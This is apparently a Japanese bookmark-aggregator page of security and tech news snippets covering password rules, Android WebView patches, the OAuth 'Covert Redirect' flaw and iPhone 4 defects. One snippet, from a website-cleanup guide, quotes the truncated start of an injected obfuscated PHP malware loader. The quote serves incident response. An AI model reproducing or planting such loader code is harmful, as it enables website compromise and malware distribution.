｢小文字に大文字、数字や特殊文字｣などを使うパスワード規則は役立たずだった!?
｢小文字に大文字、数字や特殊文字｣などを使うパスワード規則は役立たずだった!?2017.08.15 18:4211,209 たもり パスワードを考えるときのあの苦労は一体…。 ｢小文字に大文字、数字や特殊文字などを含める｣というのは、言わずとしれたパスワードを作るときの絶対的なルールですよね。長い間、この規則はあらゆる場面でパスワード設定の基本となっていました。しかし、15年前にこのスタンダードを考案した男性が今になってこのルールは失敗だったと認めています。そして、とても申し訳なく思っているとか。 問題の人物の名前は、ビル・バーさん。アメリカ国立標準技術研究所（NIST）の元マネージャーです。2003年にバー氏は、｢NISTスペシャルパブリケーション800-63 別表A｣と呼ばれる、安全なパスワードを作る方法についての8ページに及ぶガイドラインを起草しました。これが、メールアカウントからオ
Google、古いAndroid向けWebViewパッチ打ち切りについて説明
米GoogleでAndroidセキュリティ担当リードエンジニアを務めるエイドリアン・ラドウィッグ氏は1月24日（現地時間）、旧バージョンのAndroidについて、同社が脆弱性を修正するパッチの提供を打ち切ったという情報について説明した。この情報は12日、Rapid7の研究者であるトッド・ビアズリー氏がブログで伝えたものだ。 ビアズリー氏は、Googleに4.4よりも前のバージョンのWebViewの脆弱性を報告したところ、Googleのインシデント対応担当者からメールで「もし影響を受けるのが4.4（コードネーム：KitKat）よりも前のバージョンであれば、我々は一般的に、自らパッチを開発しない。4.4より前のバージョンに影響する報告で、パッチを伴わないものについては、OEMに通知する以外の対応はできない」という返事を受けたという。 Google自身が公開している統計によると、1月5日の時点で
OAuthとOpenIDに深刻な脆弱性か--Facebookなど大手サイトに影響も
OpenSSLの脆弱性「Heartbleed」に続き、人気のオープンソースセキュリティソフトウェアでまた1つ大きな脆弱性が見つかった。今回、脆弱性が見つかったのはログインツールの「OAuth」と「OpenID」で、これらのツールは多数のウェブサイトと、Google、Facebook、Microsoft、LinkedInといったテクノロジ大手に使われている。 シンガポールにあるNanyang Technological University（南洋理工大学）で学ぶ博士課程の学生Wang Jing氏は、「Covert Redirect」という深刻な脆弱性によって、影響を受けるサイトのドメイン上でログイン用ポップアップ画面を偽装できることを発見した。Covert Redirectは、既知のエクスプロイトパラメータに基づいている。 たとえば、悪意あるフィッシングリンクをクリックすると、Faceboo
脆弱性を突かれて Web サイトを改ざんされてウィルス呼び出しコードを埋めこまれたファイルの調べ方と除去と対応作業と申請手続きについて
改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn
2011年の脆弱なスマートフォン・ランキング - トップ12全てがAndroid （マイナビニュース） - Yahoo!ニュース
米Bit9が11月21日(現地時間)にスマートフォンに関するセキュリティレポート「The Most Vulnerable Smartphones of 2011(2011年の最も脆弱なスマートフォン)」を公開した。その中で同社は攻撃の被害を受けやすいスマートフォンのTOP12「The Dirty Dozen」をリストしており、今年はその全てがAndroid搭載機種になった。 1. Samsung GALAXY Mini 2. HTC Desire 3. Sony Ericsson Xperia X10 4. Sanyo Zio 5. HTC Wildfire 6. Samsung Epic 4G 7. LG Optimus S 8. Samsung GALAXY S 9. Motorola DROID X 10. LG Optimus One 11. Motorola
asahi.com（朝日新聞社）：アンドロイド携帯、公衆無線ＬＡＮで情報漏れ恐れ - 社会
コーヒー店の公衆無線ＬＡＮに接続したアンドロイド端末 米グーグルの基本ソフト（ＯＳ）「アンドロイド」を搭載したスマートフォン（多機能携帯電話）を狙い、ネット上の予定表やアドレス帳など個人情報を盗んだり、書き換えたりできる公衆無線ＬＡＮの「わな」が簡単に作れることがわかった。ドイツ・ウルム大の研究チームが発表した。 アンドロイド端末でコーヒー店などの公衆無線ＬＡＮを利用すると、再訪したときに自動接続できるようになっている。 ところが研究チームによると、悪意がある第三者がコーヒー店などと同名の公衆無線ＬＡＮを作って別の場所に仕掛けておくと、通りかかった人の端末がコーヒー店だと勘違いして自動接続してしまう。 そのとき、パスワードに相当する「トークン」と呼ばれる情報が暗号化されずにやりとりされていると、第三者は盗んだトークンを使って最長１４日間、ネット上に保存されたアドレス帳など個人情報を
【尿液晶】iPhone4の初期ロットがガチで不具合まみれな件・・・【電波障害】 : はちま起稿
【尿液晶】iPhone4の初期ロットがガチで不具合まみれな件・・・【電波障害】 初期ロットiPhone4がわりとマジで酷いみたい 【ソフトバンクでiPhone4を使った時の動画】 電波４本立つ場所 iPhone4を左手で持つだけで→圏外へ 電波３本立つ場所 iPhone4を左手で持つだけで→圏外へ→その後布で持つと５本へ 電波５本立つ場所 iPhone4を左手で持つだけで→３本とシグナル弱くなる 1 名前： トウゴロウイワシ(茨城県)[] 投稿日：2010/06/27(日) 14:04:16.48 ID:r+qW4BXq iPhone 4のアンテナ問題：ジョブズ応えて曰く「別の持ち方をするか、ケースを使ってみて欲しい」 http://jp.techcrunch.com/archives/20100624iphone-4-antenna-issue/ どのような携帯電話でも握り
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
Engadget | Technology News & Reviews
「IEに脆弱性」で年配社員パニック | web R25
艦これのチート - Togetter
Loading...
「iOS 5.1.1」公開、SafariとWebKitの脆弱性を修正、URL偽装などの恐れ 
99.7％のAndroid端末に情報漏えいの危険、ドイツの研究者が指摘
TechCrunch
サルでもわかる速報 iPhone 4を落とすと壊れる
Engadget | Technology News & Reviews